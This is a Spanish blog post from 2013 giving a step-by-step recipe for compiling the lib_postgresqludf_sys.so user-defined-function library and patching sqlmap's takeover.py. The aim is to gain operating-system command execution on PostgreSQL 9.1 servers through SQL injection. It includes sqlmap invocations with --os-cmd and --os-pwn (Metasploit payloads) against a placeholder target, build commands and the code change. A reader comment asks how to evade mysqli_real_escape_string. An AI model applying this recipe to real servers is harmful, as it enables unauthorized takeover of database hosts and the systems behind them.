miércoles, 10 de abril de 2013

Compilar librería UDF "lib_postgresqludf_sys.so" para Sqlmap

Una de las formas de tomar control del sistema operativo mediante un SQLi en Postgresql (y también en MySQL) es mediante librerías UDF (User Defined Functions). Este mecanismo permite programar nuestras propias funciones en C/C++, compilarlas como una librería compartida (.so en linux y .dll en windows) y luego importarlas a la base de datos. Evidentemente, es necesario tener permisos de administrador en la DB.

Sqlmap, implementa esta técnica de explotación y viene con librerías precompiladas para distintas versiones de Postgresql y MySQL tanto para linux como para windows con arquitecturas de 32 o 64 bits. Para usarlas se utiliza el parámetro "--os-cmd" (para ejecutar comandos en el SO) o también "--os-pwn" (para ejecutar payloads de metasploit). Por ejemplo:


# ./sqlmap.py --url="http://vulnerable.com/?id=0" -p id --os-cmd="whoami"

# ./sqlmap.py --url="http://vulnerable.com/?id=0" -p id --os-pwn --msf-path="/ruta/a/carpeta/metasploit"

Sin embargo, Sqlmap no trae (aún) la librería UDF compilada para Postgresql 9.1 (solo trae hasta la 9.0). Por lo que si tratas de explotar una inyección en Postgresql 9.1, la librería UDF será rechazada y fallará. Lo que debemos hacer en este caso es compilar la librería para la versión que necesitemos y reemplazar la de Sqlmap.

A continuación un paso a paso de como hacerlo. En mi caso el SO base que utilicé fue un Centos 6.2 (minimal) de 64 bits. Es recomendable que realices la compilación sobre un SO similar al empleado por el servidor objetivo (misma distro y arquitectura).

 Empecemos...

1. Primero debemos descargar el código fuente de la librería "lib_postgresqludf_sys.c" que es la que emplea Sqlmap. Esa librería tiene dos funciones "sys_exec" y "sys_eval". Hay un mirror en exploit-db:

http://exploit-db.com/sploits/2009-lib_postgresqludf_sys_0.0.1.tar.gz

Otra versión más actual y con un par de funciones más que se ven interesantes, se puede encontrar en el repositorio del proyecto Sqlmap.

https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys

2. Ahora descargamos el código fuente de Postgresql 9.1 (o la versión que necesites).

# cd /root
# curl http://ftp.postgresql.org/pub/source/v9.1.0/postgresql-9.1.0.tar.bz2 -o postgresql-9.1.0.tar.bz2
# tar -xvjf postgresql-9.1.0.tar.bz2

3. Instalamos las herramientas de compilación y dependencias.

# yum install make gcc readline-devel zlib-devel

4. Compilamos Postgresql y lo instalamos en "/root/postgresql" (o donde prefieras).

# mkdir /root/postgresql

# cd postgresql-9.1.0
# ./configure --prefix /root/postgresql
# make
# make install

5. Ahora compilaremos la librería UDF. (suponiendo que está en "/root/lib_postgresqludf_sys.c")

# cd /root
# gcc -I/root/postgresql/include/server -fpic -shared -Os -o lib_postgresqludf_sys.so lib_postgresqludf_sys.c

(el parámetro "-Os" es para optimizar el tamaño de fichero compilado)

6. Finalmente quitamos información de depuración para optimizar el tamaño de la librería un poco más:

# strip --strip-debug lib_postgresqludf_sys.so

Y eso es todo, ya tenemos nuestra librería UDF compilada. Ahora solo reemplazamos la de Sqlmap.

Suponiendo que Sqlmap está en "/root/sqlmap":

# mv /root/sqlmap/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so /root/sqlmap/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so.bkp

# cp /root/lib_postgresqludf_sys.so /root/sqlmap/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so

Pero luego no olvides dejar las cosas en su sitio:

# rm /root/sqlmap/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so
 
# mv /root/sqlmap/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so.bkp /root/sqlmap/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so

Otra opción es modificar un poco el código de Sqlmap para que concidere nuestra nueva versión de la librería:

Primero creamos un directorio "9.1" y ponemos ahí la librería.

# mkdir /root/sqlmap/udf/postgresql/linux/64/9.1

# cp /root/lib_postgresqludf_sys.so /root/sqlmap/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so

Luego editamos el fichero "/root/sqlmap/plugins/dbms/postgresql/takeover.py" (más o menos a partir de la linea 46)

Antes:
        if banVer >= "9.0":
            majorVer = "9.0"
        elif banVer >= "8.4":
            majorVer = "8.4"
        elif banVer >= "8.3":
            majorVer = "8.3"
        elif banVer >= "8.2":
            majorVer = "8.2"
        else:
            errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
            raise SqlmapUnsupportedFeatureException(errMsg)

Después:
        if banVer >= "9.1":
            majorVer = "9.1"
        elif banVer >= "9.0":
            majorVer = "9.0"
        elif banVer >= "8.4":
            majorVer = "8.4"
        elif banVer >= "8.3":
            majorVer = "8.3"
        elif banVer >= "8.2":
            majorVer = "8.2"
        else:
            errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
            raise SqlmapUnsupportedFeatureException(errMsg)

Y listo :)

Fig. 1 - Ejecución del comando "id" vía UDF con Sqlmap.

Un saludo.

1 comentario:

  1. como evadís un mysqli_real_Escape_string

    ResponderEliminar